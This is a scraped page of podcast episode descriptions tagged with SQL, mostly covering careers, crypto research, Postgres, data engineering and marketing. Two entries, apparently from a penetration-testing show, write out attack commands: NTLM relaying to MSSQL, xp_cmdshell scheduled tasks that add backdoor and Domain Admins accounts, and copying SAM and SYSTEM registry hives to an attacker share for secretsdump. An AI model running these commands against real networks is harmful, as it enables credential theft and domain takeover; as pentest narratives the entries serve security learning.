Podcasts about SQL

Austin shares his 7 step process for writing a job-winning LinkedIn headline!Time Stamped Show Notes:[0:30] - The LinkedIn headline is a great place to stand out[1:28] - The truth about LinkedIn headlines[2:43] - 2 things all great headlines have[5:32] - Finding your unique value[8:48] - The LinkedIn headline formulaResources Mentioned In Today's Episode:LinkedIn Headline GuideLinkedIn Headline Formula:[Job Title] | [Keyword 1], [Keyword 2], [Keyword 3] | [Unique Value Prop]LinkedIn Headline Example #1:Marketing at Snap | B2B, Paid Social, Analytics-Driven | I Help Snap's B2B Clients Generate 500% ROAS With Social AdvertisingLinkedIn Headline Example #2:Graphic Designer at Hubspot | Human-Centered Designer | I Help Companies Create Ad Designs That Drive 30% More ConversionsLinkedIn Headline Example #3:Data Analyst at Microsoft | Python, SQL, Tableau | I Help Companies Use Big Data To Tell Stories That Boost Customer Retention By 77%Want To Level Up Your Job Search?Click here to learn more about 1:1 career coaching to help you land your dream job without applying online.Check out Austin's courses and, as a thank you for listening to the show, use the code PODCAST to get 5% off any digital course:The Interview Preparation System - Austin's proven, all-in-one process for turning your next job interview into a job offer.Value Validation Project Starter Kit - Everything you need to create a job-winning VVP that will blow hiring managers away and set you apart from the competition.No Experience, No Problem - Austin's proven framework for building the skills and experience you need to break into a new industry (even if you have *zero* experience right now).Try Austin's Job Search ToolsResyBuild.io - Build a beautiful, job-winning resume in minutes.ResyMatch.io - Score your resume vs. your target job description and get feedback.ResyBullet.io - Learn how to write attention grabbing resume bullets.Mailscoop.io - Find anyone's professional email in seconds.Connect with Austin for daily job search content:Cultivated CultureLinkedInTwitterThanks for listening!

This week, we went live to discuss Pump's rebound, Base's token exploration and potential effects on ETH, Optimism, and Arbitrum, and Solana DAT inflows, ETF prospects, and market mechanics around liquidity, fees, and inflation.  Thanks for tuning in! As always, remember this podcast is for informational purposes only, and any views expressed by anyone on the show are solely their opinions, not financial advice. -- Katana is a DeFi-first chain built for deep liquidity and real yield, by redirecting chain revenue back to active DeFi users. The 1 billion KAT campaign is live. Bridge and deposit directly into vaults in one simple click and start earning immediately on your ETH, BTC, USDC, and more.  Go to app.katana.network to check it out.  -- Is your treasury losing value to inflation? Learn how to make digital assets like ETH and SOL productive with uncorrelated, protocol-driven staking rewards.  A new report from Liquid Collective and EigenCloud outlines a practical guide for CFOs to integrate institutional-grade staking and restaking.  Read The Productive Treasury Report: https://liquidcollective.io/corporate-treasury-staking/  -- Crypto's premiere institutional conference returns to London in October 2025. Use code 0x100 for £100 off at checkout: https://blockworks.co/event/digital-asset-summit-2025-london -- Blockworks is hiring a Research Data Analyst. If you live in SQL and love making sense of onchain chaos, apply today: https://jobs.ashbyhq.com/Blockworks?utm_source=EQPb2dAAxr -- Follow Ian: https://x.com/Ian_Unsworth Follow Teddy: https://x.com/Teddy_oost Follow Ryan: https://x.com/_ryanrconnor Follow Danny: https://x.com/defi_kay_ Follow Boccaccio: https://x.com/salveboccaccio Follow Blockworks Research: https://x.com/blockworksres Subscribe on YouTube: https://bit.ly/3foDS38 Subscribe on Apple: https://apple.co/3SNhUEt Subscribe on Spotify: https://spoti.fi/3NlP1hA Get top market insights and the latest in crypto news. Subscribe to Blockworks Daily Newsletter: https://blockworks.co/newsletter/ Join the 0xResearch Telegram group: https://t.me/+UFFz4z3qyrhhMDYx -- Timestamps: (0:00) Introduction (3:54) Pumpfun's Dominance (38:59) Ads (Katana & EigenCloud) (40:08) Is A Base Token Coming? (59:26) Ads (Katana & EigenCloud) (1:00:33) Solana DATs -- Check out Blockworks Research today! Research, data, governance, tokenomics, and models – now, all in one place Blockworks Research: https://www.blockworksresearch.com/ Free Daily Newsletter: https://blockworks.co/newsletter -- Disclaimer: Nothing said on 0xResearch is a recommendation to buy or sell securities or tokens. This podcast is for informational purposes only, and any views expressed by anyone on the show are solely our opinions, not financial advice. Boccaccio, Danny, and our guests may hold positions in the companies, funds, or projects discussed.

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICEMSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITYSYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:tempbackup ?GLOBALROOTDeviceHarddiskVolumeShadowCopy123 From command prompt on the victim system, I authenticated to my rogue share: net use ATTACKER_IPshare /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM my.attackingipsys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

This week we went live to discuss Solana DATs, Tether's USAT announcement, and Gemini's IPO. We also dove into launchpads and narrative cycles, creator-coin streaming experiments, and Hyperliquid's USDH.Thanks for tuning in! As always, remember this podcast is for informational purposes only, and any views expressed by anyone on the show are solely their opinions, not financial advice. -- Bitcoin DeFi is heating up on Aptos, the BTCFi growth chain with nearly $400M in BTC assets supported by a secure, fast, and affordable MVM environment. Aptos users can acquire, hold, and earn attractive BTCFi yields via Echo aBTC and OKX xBTC, without typical bridge risks and high fees.  Explore BTC yield opportunities on Aptos via OKX Earn and Aptos-native platforms https://web3.okx.com/earn/activity/xbtc-aptos  -- Is your treasury losing value to inflation? Learn how to make digital assets like ETH and SOL productive with uncorrelated, protocol-driven staking rewards.  A new report from Liquid Collective and EigenCloud outlines a practical guide for CFOs to integrate institutional-grade staking and restaking.  Read The Productive Treasury Report: https://liquidcollective.io/corporate-treasury-staking/  -- Crypto's premiere institutional conference returns to London in October 2025. Use code 0x100 for £100 off at checkout: https://blockworks.co/event/digital-asset-summit-2025-london -- Blockworks is hiring a Research Data Analyst. If you live in SQL and love making sense of onchain chaos, apply today: https://jobs.ashbyhq.com/Blockworks?utm_source=EQPb2dAAxr -- Follow James: https://x.com/JamesChristoph_ Follow Noah: https://x.com/TraderNoah Follow Danny: https://x.com/defi_kay_ Follow Boccaccio: https://x.com/salveboccaccio Follow Blockworks Research: https://x.com/blockworksres Subscribe on YouTube: https://bit.ly/3foDS38 Subscribe on Apple: https://apple.co/3SNhUEt Subscribe on Spotify: https://spoti.fi/3NlP1hA Get top market insights and the latest in crypto news. Subscribe to Blockworks Daily Newsletter: https://blockworks.co/newsletter/ Join the 0xResearch Telegram group: https://t.me/+UFFz4z3qyrhhMDYx -- Timestamps: (0:00) Introduction (4:30) Solana DATs (18:16) Ads (Aptos & EigenCloud) (19:09) The DAT Debate (26:51) Tether Announces USAT (36:29) The Gemini IPO (46:12) Ads (Aptos & EigenCloud) (47:20) Launchpads and Narrative Cycles (1:18:24) Hyperliquid's USDH -- Check out Blockworks Research today! Research, data, governance, tokenomics, and models – now, all in one place Blockworks Research: https://www.blockworksresearch.com/ Free Daily Newsletter: https://blockworks.co/newsletter -- Disclaimer: Nothing said on 0xResearch is a recommendation to buy or sell securities or tokens. This podcast is for informational purposes only, and any views expressed by anyone on the show are solely our opinions, not financial advice. Boccaccio, Danny, and our guests may hold positions in the companies, funds, or projects discussed.

Nik and Michael are joined by Simon Eskildsen from turbopuffer — among other things, they discuss ANN index types, tradeoffs that can make sense for search workloads, and when it can make sense to move search out of Postgres. Here are some links to things they mentioned:Simon Eskildsen https://postgres.fm/people/simon-eskildsenturbopuffer https://turbopuffer.comUse ULID Idempotency Keys (tip 6 in this blog post from Shopify) https://shopify.engineering/building-resilient-payment-systemsPostgreSQL 18 Release Candidate 1 https://www.postgresql.org/about/news/postgresql-18-rc-1-released-3130Understanding DiskANN (blog post by Junaid Ahmed) https://www.tigerdata.com/blog/understanding-diskannSPFresh: Incremental In-Place Update for Billion-Scale Vector Search (paper) https://arxiv.org/abs/2410.14452Amazon S3 adds new functionality for conditional writes https://aws.amazon.com/about-aws/whats-new/2024/11/amazon-s3-functionality-conditional-writesAmazon S3 Vectors https://aws.amazon.com/s3/features/vectors~~~What did you like or not like? What should we discuss next time? Let us know via a YouTube comment, on social media, or by commenting on our Google doc!~~~Postgres FM is produced by:Michael Christofides, founder of pgMustardNikolay Samokhvalov, founder of Postgres.aiWith credit to:Jessie Draws for the elephant artwork

In this episode of Stories from the Hackery, we talk with Nashville tech leader and hiring manager Jason Turan about one of tech's most in-demand fields: data engineering. Jason, a long-time friend of NSS, was one of the first people to tell us that Nashville needed more data engineers. He shares his perspective on what a data engineer does, describing the role as the "connective tissue between data producers and data consumers". Listen in to hear us discuss: - Why data engineers are essential for flipping the 80/20 rule, allowing data scientists and analysts to spend less time cleaning data and more time finding insights. - How the rise of generative AI has acted as an "accelerant," increasing the need for high-quality data and the professionals who can provide it. - Actionable advice for getting started in the field, including the importance of focusing on a "T-shaped skillset" with SQL at its core. - Why Jason's number one piece of advice is to be curious, experiment, and "go out and do the thing". 01:20 Meet Jason Turan: His Tech Origin Story 03:04 Jason's History with NSS and Hiring Grads 07:28 Defining Data Engineering: The "Connective Tissue" of Tech 11:15 Why Nashville is a Hub for Data Engineers 13:56 Healthcare's Impact on Nashville's Data Jobs 20:35 How GenAI Accelerates the Need for Data Engineers 31:33 Getting Started: Lower Barriers to Entry 39:03 A Top Use Case for AI: Understanding Your Codebase 52:21 Misconceptions & the "T-Shaped Skillset" 55:29 The Value of Hands-On Learning: "Go Do the Thing" 58:52 Lightning Round: Favorite Tech Tools 01:00:32 Lightning Round: Top Reads & Resources Links Metabase: https://www.metabase.com/ DuckDB: https://duckdb.org/ MotherDuck: https://motherduck.com/ Ralph Kimball: The Data Warehouse Toolkit: https://www.amazon.com/gp/product/1118530802 Bill Inmon: Building the Data Warehouse: https://www.amazon.com/Building-Data-Warehouse-W-Inmon/dp/0764599445 Edward Tufte: The Visual Display of Quantitative Information: https://www.amazon.com/Visual-Display-Quantitative-Information/dp/0961392142 Brendan Keeler: The Health API Guy: https://healthapiguy.substack.com/ TLDR Newsletter: https://tldr.tech/ Nashville Technology Council (NTC): https://technologycouncil.com/

This is episode 304 recorded on September 4th, 2025, where John & Jason talk the Microsoft Fabric August 2025 Feature Summary including a new Flat list view in Deployment pipelines, Bursting controls for Data Engineering workloads, new test capabilities for User Data Functions, the ability to server real-time predictions with ML model endpoints, several updates to Data Warehouse, Database tree in edit tile and AzMon data sources for RTI, the ability to use Python Notebooks to read/write to Fabric SQL Databases, Auto table creation on destination in copy job in Data Factory, and much, much more. For show notes please visit www.bifocal.show

During this livestream, we discuss Hyperliquid stablecoins, trading card game tokenization trends, MegaETH and Ethena's USDM announcement, and new DATco-driven market dynamics. Thanks for tuning in! As always, remember this podcast is for informational purposes only, and any views expressed by anyone on the show are solely their opinions, not financial advice. -- Katana is a DeFi-first chain built for deep liquidity and real yield, by redirecting chain revenue back to active DeFi users. The 1 billion KAT campaign is live. Bridge and deposit directly into vaults in one simple click and start earning immediately on your ETH, BTC, USDC, and more.  Go to app.katana.network to check it out.  -- Is your treasury losing value to inflation? Learn how to make digital assets like ETH and SOL productive with uncorrelated, protocol-driven staking rewards.  A new report from Liquid Collective and EigenCloud outlines a practical guide for CFOs to integrate institutional-grade staking and restaking.  Read The Productive Treasury Report: https://liquidcollective.io/corporate-treasury-staking/  -- Crypto's premiere institutional conference returns to London in October 2025. Use code 0x100 for £100 off at checkout: https://blockworks.co/event/digital-asset-summit-2025-london -- Blockworks is hiring a Research Data Analyst. If you live in SQL and love making sense of onchain chaos, apply today: https://jobs.ashbyhq.com/Blockworks?utm_source=EQPb2dAAxr -- Follow Kunal: https://x.com/Kunallegendd Follow Shaunda: https://x.com/shaundadevens Follow Danny: https://x.com/defi_kay_ Follow Boccaccio: https://x.com/salveboccaccio Follow Blockworks Research: https://x.com/blockworksres Subscribe on YouTube: https://bit.ly/3foDS38 Subscribe on Apple: https://apple.co/3SNhUEt Subscribe on Spotify: https://spoti.fi/3NlP1hA Get top market insights and the latest in crypto news. Subscribe to Blockworks Daily Newsletter: https://blockworks.co/newsletter/ Join the 0xResearch Telegram group: https://t.me/+UFFz4z3qyrhhMDYx -- Timestamps: (0:00) Introduction (5:17) Hyperliquid Stablecoin Proposals (26:31) Ads (Katana & EigenCloud) (27:30) The TCG Meta (53:12) Ads (Katana & EigenCloud) (54:23) MegaETH & Ethena Unveil USDM (1:03:52) New DATcos -- Check out Blockworks Research today! Research, data, governance, tokenomics, and models – now, all in one place Blockworks Research: https://www.blockworksresearch.com/ Free Daily Newsletter: https://blockworks.co/newsletter -- Disclaimer: Nothing said on 0xResearch is a recommendation to buy or sell securities or tokens. This podcast is for informational purposes only, and any views expressed by anyone on the show are solely our opinions, not financial advice. Boccaccio, Danny, and our guests may hold positions in the companies, funds, or projects discussed.

In this episode, we brought together leaders from Gelato, L2Beat, Succinct, and Spire Labs to examine the state of Ethereum rollups. Our discussion covers L1 vs. L2 dynamics, Stripe and other corporations launching chains, limitations of current rollup infrastructure, bridging challenges, ZK proofs, real-time proving progress, canonical vs. external bridges, and the future trajectory of L2 technology. Thanks for tuning in! As always, remember this podcast is for informational purposes only, and any views expressed by anyone on the show are solely their opinions, not financial advice. Resources  Ethereum Settlement Score: https://ethresear.ch/t/ethereum-settlement-score-ess-revitalizing-the-rollup-centric-roadmap/22922 Are L2s Breaking Away From Ethereum? https://app.blockworksresearch.com/research/are-l2s-breaking-away-from-ethereum — Bitcoin DeFi is heating up on Aptos, the BTCFi growth chain with nearly $400M in BTC assets supported by a secure, fast, and affordable MVM environment. Aptos users can acquire, hold, and earn attractive BTCFi yields via Echo aBTC and OKX xBTC, without typical bridge risks and high fees.  Explore BTC yield opportunities on Aptos via OKX Earn and Aptos-native platforms https://web3.okx.com/earn/activity/xbtc-aptos  -- Is your treasury losing value to inflation? Learn how to make digital assets like ETH and SOL productive with uncorrelated, protocol-driven staking rewards.  A new report from Liquid Collective and EigenCloud outlines a practical guide for CFOs to integrate institutional-grade staking and restaking.  Read The Productive Treasury Report: https://liquidcollective.io/corporate-treasury-staking/  – Crypto's premiere institutional conference returns to London in October 2025. Use code 0x100 for £100 off at checkout: https://blockworks.co/event/digital-asset-summit-2025-london – Blockworks is hiring a Research Data Analyst. If you live in SQL and love making sense of onchain chaos, apply today: https://jobs.ashbyhq.com/Blockworks?utm_source=EQPb2dAAxr – Follow Hubert: https://x.com/hubkotl Follow Leland:  https://x.com/Lsquaredleland Follow Luis: https://x.com/luis_0x Follow mteam: https://x.com/mteamisloading Follow Marc: https://x.com/marcarjoon Follow Danny: https://x.com/defi_kay_ Follow Blockworks Research: https://x.com/blockworksres Subscribe on YouTube: https://bit.ly/3foDS38 Subscribe on Apple: https://apple.co/3SNhUEt Subscribe on Spotify: https://spoti.fi/3NlP1hA Get top market insights and the latest in crypto news. Subscribe to Blockworks Daily Newsletter: https://blockworks.co/newsletter/ Join the 0xResearch Telegram group: https://t.me/+UFFz4z3qyrhhMDYx —-- [TIMESTAMPS] —-- Check out Blockworks Research today! Research, data, governance, tokenomics, and models – now, all in one place Blockworks Research: https://www.blockworksresearch.com/ Free Daily Newsletter: https://blockworks.co/newsletter - - Disclaimer: Nothing said on 0xResearch is a recommendation to buy or sell securities or tokens. This podcast is for informational purposes only, and any views expressed by anyone on the show are solely our opinions, not financial advice. Boccaccio, Danny, and our guests may hold positions in the companies, funds, or projects discussed.

During the IT Press Tour, I had the pleasure of speaking with Weimo Liu, CEO and co-founder of PuppyGraph, and hearing firsthand how his team is rethinking graph technology for the enterprise. In this episode of Tech Talks Daily, Weimo joins me to share the story behind PuppyGraph's “zero ETL” approach, which lets organizations query their existing data as a graph without ever moving or duplicating it. We discuss why graph databases, despite their promise, have struggled with mainstream adoption, often because of complex pipelines and heavy infrastructure requirements. Weimo explains how PuppyGraph borrows from his time at TigerGraph and Google's F1 engine to build something new: a distributed query engine that maps tables into a logical graph and delivers subsecond performance on massive datasets. That shift opens the door for use cases in cybersecurity, fraud detection, and AI-driven applications where latency and accuracy matter most. We also unpack the developer experience. Instead of rewriting schemas or reloading data every time requirements change, PuppyGraph allows teams to define nodes and edges directly from existing tables. That design lowers the barrier for SQL-focused teams and accelerates time to value. Weimo even touches on the role of graph in reducing AI hallucinations, showing how structured relationships can make enterprise AI systems more reliable. What struck me most in our conversation is how PuppyGraph's playful branding belies its serious engineering depth. Behind the “puppy” name lies a distributed engine built to scale with today's data volumes, backed by strong early adoption and a team that listens closely to customer needs. Whether you're exploring graph for cybersecurity, AI chatbots, or supply chain analytics, this discussion offers a glimpse of how the next generation of graph tech might finally break free from its niche and go mainstream. ********* Visit the Sponsor of Tech Talks Network: Land your first job  in tech in 6 months as a Software QA Engineering Bootcamp with Careerist https://crst.co/OGCLA

Sales and marketing alignment fails when teams optimize for different metrics. Kelly Hopping, CMO of Demandbase, explains how shared pipeline accountability transforms B2B revenue operations. She details moving SDR teams under marketing leadership while aligning both organizations to pipeline metrics instead of separate SQL and closed-won targets. The discussion covers implementing weekly funnel reviews and restructuring compensation models to create true cross-functional partnership.See Privacy Policy at https://art19.com/privacy and California Privacy Notice at https://art19.com/privacy#do-not-sell-my-info.

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today's episode: Got an SA account to a SQL server through Snaffler-ing With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv I didn't have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAINa-domain-admin" /it /f …and ran it: schtasks /run /tn "TotallyFineTask"

Sales and marketing alignment fails when teams optimize for different metrics. Kelly Hopping, CMO of Demandbase, explains how shared pipeline accountability transforms B2B revenue operations. She details moving SDR teams under marketing leadership while aligning both organizations to pipeline metrics instead of separate SQL and closed-won targets. The discussion covers implementing weekly funnel reviews and restructuring compensation models to create true cross-functional partnership.See Privacy Policy at https://art19.com/privacy and California Privacy Notice at https://art19.com/privacy#do-not-sell-my-info.

Nik and Michael discuss when not to use Postgres — specifically use cases where it still makes sense to store data in another system. Here are some links to things they mentioned:Just use Postgres (blog post by Ethan McCue) https://mccue.dev/pages/8-16-24-just-use-postgresJust Use Postgres for Everything (blog post by Stephan Schmidt) https://www.amazingcto.com/postgres-for-everythingReal-time analytics episode https://postgres.fm/episodes/real-time-analyticsCrunchy Data Joins Snowflake https://www.crunchydata.com/blog/crunchy-data-joins-snowflakeTwo sizes fit most: PostgreSQL and Clickhouse (blog post by Sid Sijbrandij) https://about.gitlab.com/blog/two-sizes-fit-most-postgresql-and-clickhousepg_duckdb episode https://postgres.fm/episodes/pg_duckdbCloudberry https://github.com/apache/cloudberryTime-series considerations episode https://postgres.fm/episodes/time-series-considerationsQueues in Postgres episode https://postgres.fm/episodes/queues-in-postgresLarge Objects https://www.postgresql.org/docs/current/largeobjects.html PGlite https://pglite.devParadeDB https://www.paradedb.comZomboDB https://github.com/zombodb/zombodbturbopuffer https://turbopuffer.comHNSW vs. DiskANN (blog post by Haziqa Sajid) https://www.tigerdata.com/learn/hnsw-vs-diskannSPANN: Highly-efficient Billion-scale Approximate Nearest Neighbor Search (paper) https://www.microsoft.com/en-us/research/wp-content/uploads/2021/11/SPANN_finalversion1.pdfAmazon S3 Vectors https://aws.amazon.com/s3/features/vectorsIterative Index Scans added to pgvector in 0.8.0 https://github.com/pgvector/pgvector/issues/678S3 FDW from Supabase https://github.com/supabase/wrappers/tree/main/wrappers/src/fdw/s3_fdw~~~What did you like or not like? What should we discuss next time? Let us know via a YouTube comment, on social media, or by commenting on our Google doc!~~~Postgres FM is produced by:Michael Christofides, founder of pgMustardNikolay Samokhvalov, founder of Postgres.aiWith credit to:Jessie Draws for the elephant artwork

Thomas incarne un paradoxe que tous les développeurs entrepreneurs connaissent. Il sait qu'il ne faut pas s'enfermer dans des tunnels de code et plutôt être le plus lean possible pour trouver son product market fit. Et pourtant, il n'a jamais pu s'empêcher de perfectionner techniquement ses projets.Une tension qu'il a vécue dans trois aventures entrepreneuriales en presque dix ans. Après avoir découvert le code via l'optimisation des files d'attente pour Disneyland Paris, il a tracé sa route en dehors des voies habituellement empruntées par les développeurs.————— THOMAS SERTORIO ————— Retrouvez Thomas sur LinkedIn : https://www.linkedin.com/in/thomassertorio/————— PARTIE 1/3 : PARCOURS —————(00:00) Intro + présentation de Thomas(04:07) Optimisation des files d'attente à Disneyland Paris : premier contact avec le code(10:12) Pourquoi Thomas n'a pas suivi le chemin classique après Centrale(12:30) Apprendre à progresser sans mentor : la résolution de problèmes comme moteur(15:25) Comment évaluer son niveau quand on est autodidacte(18:25) La plus grosse difficulté technique : scaler une app sans expérience(22:13) Gestion du trafic et optimisation SQL : apprentissage par la contrainte(26:34) Les mentors virtuels et l'importance des freelances expérimentés(28:18) Où Thomas se situe techniquement après toutes ces expériences(30:37) Pourquoi l'entrepreneuriat plutôt que le salariat classique(32:33) Comment Thomas a rempilé après chaque projet (35:26) Comment les opportunités se présentent quand on reste ouvert————— PARTIE 2/3 : AVENTURES ENTREPRENEURIALES —————(38:20) L'arrêt d'OpenLodge : comment décider qu'il faut s'arrêter(41:46) Le rôle du gut feeling dans les décisions entrepreneuriales(46:03) Poulpe vs OpenLodge : la différence entre créer un marché et répondre à un besoin(50:07) Relationchips : deux ans pour trouver le product market fit(53:17) Le sentiment face aux projets qui s'arrêtent(54:25) Transition vers le salariat : pourquoi maintenant(57:12) L'appréhension de rejoindre une structure après 15 ans d'entrepreneuriat(1:01:59) Les super-pouvoirs d'un parcours atypique(1:05:44) L'ego des développeurs et l'importance de l'humilité(1:10:53) L'entrepreneuriat comme motivation esthétique plutôt qu'économique————— PARTIE 3/3 : ROLLBACK + STAND-UP —————(1:18:02) ROLLBACK : Le piège du perfectionnisme technique en entrepreneuriat(1:26:43) L'inconfort de confronter son produit au marché(1:30:35) L'importance de s'associer avec des profils complémentaires(1:36:01) Comment Relationchips s'est terminé(1:40:53) STAND-UP : La veille technique en équipe plutôt qu'individuelle(1:44:17) Créer l'engagement par la préparation et la présentation(1:49:34) Just-in-time vs just-in-case learning(1:52:16) Les ressources qui ont marqué Thomas(2:01:21) Perspective sur 40 ans de carrière————— RESSOURCES —————Code par Charles PetzoldCrafting Interpreters par Robert NystromRuby Rogue (podcast en anglais)La veille technique en équipe : méthode de Thomas————— 5 ÉTOILES —————Si cet épisode vous a plu, pensez à laisser une note et un commentaire - c'est la meilleure façon de faire découvrir le podcast à d'autres personnes !Envoyez-moi une capture de cet avis (LinkedIn ou par mail à dx@donatienleon.com) et je vous enverrai une petite surprise en remerciement.

Dave Herrald, Global Head of Cybersecurity GTM at Databricks, tells Jack about transforming security operations through modern data lake architectures and strategic AI implementation. He discusses the practical benefits of separating storage from compute, giving security teams direct control over data retention while maintaining operational flexibility. The conversation explores how organizations can move beyond traditional SIEM limitations by leveraging cost-effective data lake storage with advanced analytics capabilities. They touch on AI agents in security, where Dave advocates for focused agents over broad analyst replacement approaches. He also addresses common concerns about hallucinations, framing them as engineering challenges rather than insurmountable obstacles, and shares real-world examples of successful agent implementations. Topics discussed: Moving from traditional SIEM architectures to modern data lake approaches for cost-effective security analytics and data control. Implementing focused AI agents for specific security tasks like context gathering rather than attempting broad analyst replacement. Leveraging graph analytics for security operations including CMDB visualization, breach scoping, and vulnerability prioritization across enterprise environments. Addressing AI hallucinations through prompt engineering and proper context management rather than avoiding AI implementation entirely. Building detection capabilities using SQL and Python for analytics that provide supersets of traditional SIEM query languages. Creating normalization frameworks using standards like OCSF to enable consistent data analytics across diverse security data sources. Developing career resilience in security through mission-focused thinking, continuous AI learning, and building practical skills. Comparing modern AI agents to traditional SOAR platforms for automation effectiveness and maintenance requirements. Establishing data governance and access controls in security data lakes while maintaining operational flexibility and cost effectiveness. Listen to more episodes:  Apple  Spotify  YouTube Website

Episode SummaryMachine learning has been around for decades, but as it evolves rapidly, the need for robust security grows even more urgent. Today on the Secure Developer, co-founder and CEO of Mindgard, Dr. Peter Garraghan, joins us to discuss his take on the future of AI. Tuning in, you'll hear all about Peter's background and career, his thoughts on deep neural networks, where we stand in the evolution of machine learning, and so much more! We delve into why he chooses to focus on security in deep neural networks before he shares how he performs security testing. We even discuss large language model attacks and why security is the responsibility of all parties within an AI organisation. Finally, our guest shares what excites him and scares him about the future of AI.Show NotesIn this episode of The Secure Developer, host Danny Allan welcomes Dr. Peter Garraghan, CEO and CTO of Mindgard, a company specializing in AI red teaming. He is also a chair professor in computer science at Lancaster University, where he specializes in the security of AI systems.Dr. Garraghan discusses the unique challenges of securing AI systems, which he began researching over a decade ago, even before the popularization of the transformer architecture. He explains that traditional security tools often fail against deep neural networks because they are inherently random and opaque, with no code to unravel for semantic meaning. He notes that AI, like any other software, has risks—technical, economic, and societal.The conversation delves into the evolution of AI, from early concepts of artificial neural networks to the transformer architecture that underpins large language models (LLMs) today. Dr. Garraghan likens the current state of AI adoption to a "great sieve theory," where many use cases are explored, but only a few, highly valuable ones, will remain and become ubiquitous. He identifies useful applications like coding assistance, document summarization, and translation.The discussion also explores how attacks on AI are analogous to traditional cybersecurity attacks, with prompt injection being similar to SQL injection. He emphasizes that a key difference is that AI can be socially engineered to reveal information, which is a new vector of attack. The episode concludes with a look at the future of AI security, including the emergence of AI security engineers and the importance of everyone in an organization being responsible for security. Dr. Garraghan shares his biggest fear—the anthropomorphization of AI—and his greatest optimism—the emergence of exciting and useful new applications.LinksMindgard - Automated AI Red Teaming & Security Testing‍Snyk - The Developer Security Company Follow UsOur WebsiteOur LinkedIn

This episode is sponsored by Doowii. Doowii brings all of your district's data together. When data is scattered across systems and buried in outdated reports, it's hard to turn that data into action. Doowii connects your SIS, LMS, assessments, staffing, financial data, and more into one secure, conversational intelligence platform designed for all educators. No extra strain on your district's resources, just faster, smarter decisions. Hungry for better insights? Visit doowii.io to learn more and see it in action. If your school's data could talk, would it ask for help? Or maybe just a better dashboard? In this episode, I chat with Ben Dodson, founder and CEO of Doowii, a cutting-edge AI-powered data platform built specifically for education. Ben shares how his tech background (hello, Google and Snapchat!) inspired him to leap into the world of EdTech to solve one of education's messiest problems: siloed, underutilized data. We cover:

This is episode 303 recorded on August 21st, 2025, where John & Jason talk to Mike Carlo from Power BI Tips.com about Power BI & Microsoft Fabric, how his company is doing Workloads in Fabric, a debate about Lakehouses vs Warehouses, the Power Designer & Entelexos tools, and other fun topics. For show notes please visit www.bifocal.show

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Host Chris Moody sits down with Jillian Lellis to explore how AI is revolutionizing account-based marketing and the critical importance of sales-marketing alignment in modern B2B strategies. The conversation dives deep into the practical challenges of building effective target account lists, the role of AI in account prioritization, and why data quality remains the foundation of successful marketing operations. Jillian shares real-world examples of how her team at Algolia successfully transitioned from SQL-focused metrics to ABX qualified accounts, emphasizing the change management and collaborative processes required for success. The discussion also tackles the balance between leveraging AI for efficiency while maintaining the human creativity and strategic thinking that drives competitive advantage.Listen to discover actionable insights on building unified account strategies and practical approaches to AI implementation in B2B marketing.Key TakeawaysTarget Account List AlignmentSuccess requires early sales involvement and approval before going live with any target account strategy.AI as Enhancement, Not ReplacementAI improves account scoring and prioritization but requires human oversight and verification to avoid costly mistakes.Data Foundation FirstYou cannot automate or AI-optimize broken processes - solid data quality and operational foundations are essential.Start Small with AIBegin with specific use cases rather than trying to automate everything at once.Sales-Marketing CollaborationRegular check-ins and clear communication remain critical, even as AI handles more routine tasks.Quotes"Trust, but verify. AI can be wrong, and you can't just blindly trust it."Best Moments (02:31) – Data Analytics Evolution Jillian's unique journey from heavy equipment to FinTech to marketing operations(05:49) – Target Account List Strategy The difference between ICP and TAL, and why sales alignment is non-negotiable(12:12) – AI in Action How predictive models and journey stages are transforming account prioritization(18:57) – AI Gone Wrong Real examples of when AI provides incorrect data and the importance of verification(25:11) – Sales-Marketing Collaboration A manager's creative AI pilot project for contact prioritization(29:33) – The Future of ABM How AI is changing account scoring beyond traditional data modelsTech Recommendations:Hex – Data analytics and coding platformChatGPT – AI assistance for documentation and workflow optimizationClaude – AI tool particularly effective for coding tasksResource RecommendationsPodcastsMorbid – True crime podcast (Jillian's personal favorite for non-work listening)Shout-OutsSarah McNamara - Founder @ #samsalesCarly Taylor - Field CTO, Gaming, Databricks.About the GuestJillian Lellis is a Data-driven GTM operator with 15+ years of experience spanning marketing ops, analytics, and data science. Jillian started her career building predictive models and experimenting with customer segmentation—and now she builds scalable systems that align GTM strategy, pipeline health, and operational excellence. Currently making AI-powered search smarter at Algolia.Website: ⁠www.algolia.com⁠⁠Connect with Jillian⁠.

